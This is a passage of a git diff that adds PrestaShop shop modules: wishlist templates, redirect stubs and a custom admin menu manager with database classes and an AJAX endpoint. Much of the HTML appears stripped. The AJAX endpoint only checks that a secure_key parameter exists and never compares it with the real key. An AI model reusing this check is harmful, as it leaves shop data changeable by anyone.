        diff --git a/modules/blockwishlist/views/index.php b/modules/blockwishlist/views/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/views/templates/front/index.php b/modules/blockwishlist/views/templates/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/views/templates/front/mywishlist.tpl b/modules/blockwishlist/views/templates/front/mywishlist.tpl new file mode 100755 index 0000000..c6d9e40 --- /dev/null +++ b/modules/blockwishlist/views/templates/front/mywishlist.tpl @@ -0,0 +1,99 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {capture name=path}{l s='My account' mod='blockwishlist'}{$navigationPipe}{l s='My wishlists' mod='blockwishlist'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='My wishlists' mod='blockwishlist'}

        + + {include file="$tpl_dir./errors.tpl"} + + {if $id_customer|intval neq 0} +
        +
        +

        {l s='New wishlist' mod='blockwishlist'}

        +

        + + + +

        +

        + +

        +
        +
        + {if $wishlists} +
        + + + + + + + + + + + + + {section name=i loop=$wishlists} + + + + + + + + + {/section} + +
        {l s='Name' mod='blockwishlist'}{l s='Qty' mod='blockwishlist'}{l s='Viewed' mod='blockwishlist'}{l s='Created' mod='blockwishlist'}{l s='Direct Link' mod='blockwishlist'}{l s='Delete' mod='blockwishlist'}
        + {$wishlists[i].name|truncate:30:'...'|escape:'htmlall':'UTF-8'} + + {assign var=n value=0} + {foreach from=$nbProducts item=nb name=i} + {if $nb.id_wishlist eq $wishlists[i].id_wishlist} + {assign var=n value=$nb.nbProducts|intval} + {/if} + {/foreach} + {if $n} + {$n|intval} + {else} + 0 + {/if} + {$wishlists[i].counter|intval}{$wishlists[i].date_add|date_format:"%Y-%m-%d"}{l s='View' mod='blockwishlist'} + {l s='Delete' mod='blockwishlist'} +
        +
        +
         
        + {/if} + {/if} + + +
        diff --git a/modules/blockwishlist/views/templates/index.php b/modules/blockwishlist/views/templates/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/boixmenugarancia/Boixgarancia.php b/modules/boixmenugarancia/Boixgarancia.php new file mode 100755 index 0000000..cfd87d0 --- /dev/null +++ b/modules/boixmenugarancia/Boixgarancia.php @@ -0,0 +1,130 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Boixgarancia extends ObjectModel +{ + public $colonne; + public $type; + public $id_selected; + public $titre; + + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'boixmenugarancia_items', + 'primary' => 'id', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'colonne' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'type' => array('type' => self::TYPE_STRING, 'validate' => 'isString'), + 'id_selected' => array('type' => self::TYPE_STRING, 'validate' => 'isString'), + + // Lang fields + 'titre' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'required' => true, 'size' => 255), + ) + ); + + public function __construct($id_item = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_item, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'boixmenugarancia` (`id_shop`, `id`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'boixmenugarancia` + WHERE `id` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_item = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'boixmenugarancia_items` hss, `'._DB_PREFIX_.'boixmenugarancia` hs + WHERE hss.`id` = hs.`id` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_item) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id` as id_item + FROM `'._DB_PREFIX_.'boixmenugarancia_items` hss + LEFT JOIN `'._DB_PREFIX_.'boixmenugarancia` hs ON (hss.`id` = hs.`id`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_item = new Boixgarancia($row['id_item']); + --$current_item->position; + $current_item->update(); + unset($current_item); + } + + return true; + } + +} diff --git a/modules/boixmenugarancia/ajax_boixmenugarancia.php b/modules/boixmenugarancia/ajax_boixmenugarancia.php new file mode 100755 index 0000000..c0566a4 --- /dev/null +++ b/modules/boixmenugarancia/ajax_boixmenugarancia.php @@ -0,0 +1,54 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('Boixgarancia.php'); + +$context = Context::getContext(); +$Boixgarancia = new Boixgarancia(); +$slides = array(); +// echo Tools::getValue('secure_key'); +// echo $Boixgarancia->secure_key; +if (!Tools::isSubmit('secure_key') || !Tools::getValue('secure_key') || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updateSlidesPosition' && Tools::getValue('items')) +{ + + $items = Tools::getValue('items'); + + foreach ($items as $position => $id_slide) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'boixmenugarancia_items` SET `position` = '.(int)$position.' + WHERE `id` = '.(int)$id_slide + ); + + } + + $Boixgarancia->clearCache(); +} + diff --git a/modules/boixmenugarancia/boixmenugarancia.php b/modules/boixmenugarancia/boixmenugarancia.php new file mode 100755 index 0000000..d236dc1 --- /dev/null +++ b/modules/boixmenugarancia/boixmenugarancia.php @@ -0,0 +1,745 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'boixmenugarancia/Boixgarancia.php'); + +class boixmenugarancia extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'boixmenugarancia'; + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion du nouveau menu'); + $this->description = $this->l('Administrer le nouveau menu'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('displayTop') && $this->registerHook('actionShopDataDuplication')) + { + $res = $this->createTables(); + + return $res; + } + return false; + } + + /** + * Adds samples + */ + + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + // $res &= Configuration::deleteByName('boixmenugarancia_WIDTH'); + // $res &= Configuration::deleteByName('boixmenugarancia_HEIGHT'); + // $res &= Configuration::deleteByName('boixmenugarancia_SPEED'); + // $res &= Configuration::deleteByName('boixmenugarancia_PAUSE'); + // $res &= Configuration::deleteByName('boixmenugarancia_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* items */ + // $res = (bool)Db::getInstance()->execute(' + // CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'boixmenugarancia` ( + // `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + // `id_shop` int(10) unsigned NOT NULL, + // PRIMARY KEY (`id`, `id_shop`) + // ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + // '); + + /* items configuration */ + // $res &= Db::getInstance()->execute(' + // CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'boixmenugarancia_items` ( + // `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + // `colonne` int(10) unsigned NOT NULL DEFAULT \'0\', + // `position` int(10) unsigned NOT NULL DEFAULT \'0\', + // `type` varchar(255) NOT NULL, + // `id_selected` varchar(255) NOT NULL, + // `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + // PRIMARY KEY (`id`) + // ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + // '); + + /* items lang configuration */ + // $res &= Db::getInstance()->execute(' + // CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'boixmenugarancia_items_lang` ( + // `id` int(10) unsigned NOT NULL, + // `id_lang` int(10) unsigned NOT NULL, + // `titre` varchar(255) NOT NULL, + // PRIMARY KEY (`id`,`id_lang`) + // ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + // '); + return true; + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + // $items = $this->getitems(); + // foreach ($items as $item) + // { + // $to_del = new Boixgarancia($item['id_item']); + // $to_del->delete(); + // } + // return Db::getInstance()->execute(' + // DROP TABLE IF EXISTS `'._DB_PREFIX_.'boixmenugarancia`, `'._DB_PREFIX_.'boixmenugarancia_items`, `'._DB_PREFIX_.'boixmenugarancia_items_lang`; + // '); + return true; + } + + public function getContent() + { + $this->_html .= $this->headerHTML(); + $this->_html .= '

        '.$this->displayName.'

        '; + + /* Validate & process */ + if (Tools::isSubmit('submititem') || Tools::isSubmit('delete_id_item') || + Tools::isSubmit('submititemr') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayForm(); + } + elseif (Tools::isSubmit('additem') || (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item')))) + $this->_displayAddForm(); + else + $this->_displayForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* Gets items */ + $items = $this->getitems(); + + $this->_html .= '

        '; + + /* Begin fieldset items */ + $this->_html .= ' + +
        + '.$this->l('Liste des items').' + + + '.$this->l('Ajouter un item').' + + '; + + /* Display notice if there are no items yet */ + if (!$items) + $this->_html .= '

        '.$this->l('Aucun item créé').'

        '; + else /* Display items */ + { + $this->_html .= ' +
        +
        + Nos gammes et produits +
          +
          '; + foreach ($items as $item) + { + if($item['colonne']==1) + $this->_html .= ' +
        • + '.$item['titre'].' +

          '. + $this->displayStatus($item['id_item'], $item['active']).' + + +

          +
          +
        • '; + } + $this->_html .= '
        +
        +
        +
        + Vos besoins +
          +
          '; + foreach ($items as $item) + { + if($item['colonne']==2) + $this->_html .= ' +
        • + '.$item['titre'].' +

          + '. + $this->displayStatus($item['id_item'], $item['active']).' + + +

          +
          +
        • '; + } + $this->_html .= '
        '; + } + // End fieldset + $this->_html .= '
        '; + } + + private function _displayAddForm() + { + /* Sets item : depends if edited or added */ + $item = null; + if (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item'))) + $item = new Boixgarancia((int)Tools::getValue('id_item')); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'titre'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
        '; + + /* Fieldset edit/add */ + $this->_html .= '
        '; + if (Tools::isSubmit('additem')) /* Configure legend */ + $this->_html .= ' '.$this->l('Ajouter un lien').''; + elseif (Tools::isSubmit('id_item')) /* Edit legend */ + $this->_html .= ' '.$this->l('Modifier un lien').''; + /* Sets id item as hidden */ + if ($item && Tools::getValue('id_item')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + $this->_html .= ''; + + /* Form content */ + /* Title */ + + $this->_html .= '
        '; + + + $this->_html .= ' + +
        + Nos gammes et produits + + colonne) && (int)$item->colonne == 1)) ? 'checked="checked" ' : '').' value="1" /> + + + colonne) && (int)$item->colonne == 2)) ? 'checked="checked" ' : '').' value="2" /> + + + +
        '; + + $blockCategTree= Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(p.`id_product`), pl.`name`, cl.`name` AS category_name + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON cp.`id_product` = p.`id_product` + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (p.`id_category_default` = cl.`id_category` AND cl.`id_lang` = 1) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product` AND pl.`id_lang` = 1) + where cl.id_category!=12 + and cl.id_category!=13 + and cl.id_category!=14 + and cl.id_category!=15 + and cl.id_category!=16 + and cl.id_category!=17 + ORDER BY pl.name asc' + ); + $fiches_categories= Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(cl.`id_category`), cl.`name` + FROM `'._DB_PREFIX_.'category_lang` cl + where cl.`id_lang` = 1 + and cl.id_category!=12 + and cl.id_category!=13 + and cl.id_category!=1 + and cl.id_category!=2 + and cl.id_category!=14 + and cl.id_category!=15 + and cl.id_category!=16 + and cl.id_category!=17 + ORDER BY cl.name asc' + ); + // $categories= + // $cms= + + $this->_html .= ' + +
        + +
        '; + $cate_default=""; + + $this->_html .= ' +
        + +
        + +
        +
        + '; + $this->_html .= ' +
        + +
        + +
        +
        + '; + + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'titre', true); + $this->_html .= '
        * Si vous laissez vide, le nom "complet" du produit sera affiché
        '; + + /* Active */ + $this->_html .= ' + +
        + Yes + active) && (int)$item->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$item->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
        '; + + /* Save */ + $this->_html .= ' +

        + + '.$this->l('Annuler').' +

        '; + + /* End of fieldset & form */ + $this->_html .= ' +

        *'.$this->l('Champs recquis').'

        +
        + '; + } + + private function _postValidation() + { + $errors = array(); + + /* Validation for itemr configuration */ + if (Tools::isSubmit('submititemr')) + { + + if (!Validate::isInt(Tools::getValue('boixmenugarancia_SPEED')) || !Validate::isInt(Tools::getValue('boixmenugarancia_PAUSE')) || + !Validate::isInt(Tools::getValue('boixmenugarancia_WIDTH')) || !Validate::isInt(Tools::getValue('boixmenugarancia_HEIGHT'))) + $errors[] = $this->l('Invalid values'); + } /* Validation for status */ + elseif (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid item'); + } + /* Validation for item */ + elseif (Tools::isSubmit('submititem')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_item')) || (Tools::getValue('active_item') != 0 && Tools::getValue('active_item') != 1)) + $errors[] = $this->l('Invalid item state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid item position'); + /* If edit : checks id_item */ + if (Tools::isSubmit('id_item')) + { + if (!Validate::isInt(Tools::getValue('id_item')) && !$this->itemExists(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid id_item'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('titre_'.$language['id_lang'])) > 255) + $errors[] = $this->l('Le titre est trop long'); + + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('titre_'.$id_lang_default)) == 0) + $errors[] = $this->l('Le titre est vide.'); + + + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_item') && (!Validate::isInt(Tools::getValue('delete_id_item')) || !$this->itemExists((int)Tools::getValue('delete_id_item')))) + $errors[] = $this->l('Invalid id_item'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
        ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + + /* Processes itemr */ + + if (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_item')) + { + $item = new Boixgarancia((int)Tools::getValue('id_item')); + if ($item->active == 0) + $item->active = 1; + else + $item->active = 0; + $res = $item->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes item */ + elseif (Tools::isSubmit('submititem')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_item')) + { + $item = new Boixgarancia((int)Tools::getValue('id_item')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_item')); + return; + } + } + else + $item = new Boixgarancia(); + /* Sets position */ + $item->position = (int)Tools::getValue('position'); + /* Sets active */ + $item->active = (int)Tools::getValue('active_item'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $item->titre[$language['id_lang']] = Tools::getValue('titre_'.$language['id_lang']); + $item->type = Tools::getValue('type'); + $colonne=(int)Tools::getValue('colonne'); + if($colonne==0 || $colonne=="") + $colonne=1; + $item->colonne = $colonne; + $item->id_selected = Tools::getValue('id_selected'); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_item')) + { + if (!$item->add()) + $errors[] = $this->displayError($this->l('The item could not be added.')); + } + /* Update */ + elseif (!$item->update()) + $errors[] = $this->displayError($this->l('The item could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_item')) + { + $item = new Boixgarancia((int)Tools::getValue('delete_id_item')); + $res = $item->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('item deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
        ', $errors)); + elseif (Tools::isSubmit('submititem') && Tools::getValue('id_item')) + $this->_html .= $this->displayConfirmation($this->l('item updated')); + elseif (Tools::isSubmit('submititem')) + $this->_html .= $this->displayConfirmation($this->l('item added')); + } + + + public function hookDisplayTop() + { + // if($_SERVER["REMOTE_ADDR"]== "81.242.138.126"){ + // $items = $this->getitems(); + // $this->smarty->assign("menu_garancia",$items); + // } + } + + public function clearCache() + { + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'boixmenugarancia (id, id_shop) + SELECT id, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'boixmenugarancia + WHERE id_shop = '.(int)$params['old_id_shop']); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + // $this->context->controller->addJqueryUI('ui.datepicker'); + /*$this->_html .= ' + ';*/ + $this->_html .= ' + + + + '; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'slides configuration' */ + $html = ' + + + '; + + + + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'boixmenugarancia_items` hss, `'._DB_PREFIX_.'boixmenugarancia` hs + WHERE hss.`id` = hs.`id` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + + public function getitems($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id` as id_item, + hss.`position`, + hss.`active`, + hssl.`titre`, + hss.`type`, + hss.`id_selected`, + hss.`colonne` + FROM '._DB_PREFIX_.'boixmenugarancia hs + LEFT JOIN '._DB_PREFIX_.'boixmenugarancia_items hss ON (hs.id = hss.id) + LEFT JOIN '._DB_PREFIX_.'boixmenugarancia_items_lang hssl ON (hss.id = hssl.id) + + WHERE hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY colonne asc, hss.position asc'); + } + public function displayStatus($id_item, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function itemExists($id_item) + { + $req = 'SELECT hs.`id` as id_item + FROM `'._DB_PREFIX_.'boixmenugarancia` hs + WHERE hs.`id` = '.(int)$id_item; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/boixmenugarancia/boixmenugarancia.tpl b/modules/boixmenugarancia/boixmenugarancia.tpl new file mode 100755 index 0000000..e69de29 diff --git a/modules/boixmenugarancia/bx_styles.css b/modules/boixmenugarancia/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/modules/boixmenugarancia/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/modules/boixmenugarancia/index.php b/modules/boixmenugarancia/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/boixmenugarancia/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/boixmenugarancia/logo.gif b/modules/boixmenugarancia/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/boixmenugarancia/logo.gif differ diff --git a/modules/boixmenugarancia/logo.png b/modules/boixmenugarancia/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/boixmenugarancia/logo.png differ diff --git a/modules/boixmenugarancia/translations/en.php b/modules/boixmenugarancia/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/boixmenugarancia/translations/index.php b/modules/boixmenugarancia/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/boixmenugarancia/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/boixmenugaranciaimage/Garanciamenuimage.php b/modules/boixmenugaranciaimage/Garanciamenuimage.php new file mode 100755 index 0000000..277d49a --- /dev/null +++ b/modules/boixmenugaranciaimage/Garanciamenuimage.php @@ -0,0 +1,130 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Garanciamenuimage extends ObjectModel +{ + public $titre; + public $legend; + + public $url; + public $image; + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'boixmenugaranciaimage_items', + 'primary' => 'id', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'url' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString'), + 'image' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + + // Lang fields + 'titre' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'required' => true, 'size' => 255), + 'legend' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + ) + ); + + public function __construct($id_item = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_item, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'boixmenugaranciaimage` (`id_shop`, `id`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'boixmenugaranciaimage` + WHERE `id` = '.(int)$this->id + ); + + $res &= parent::delete(); + 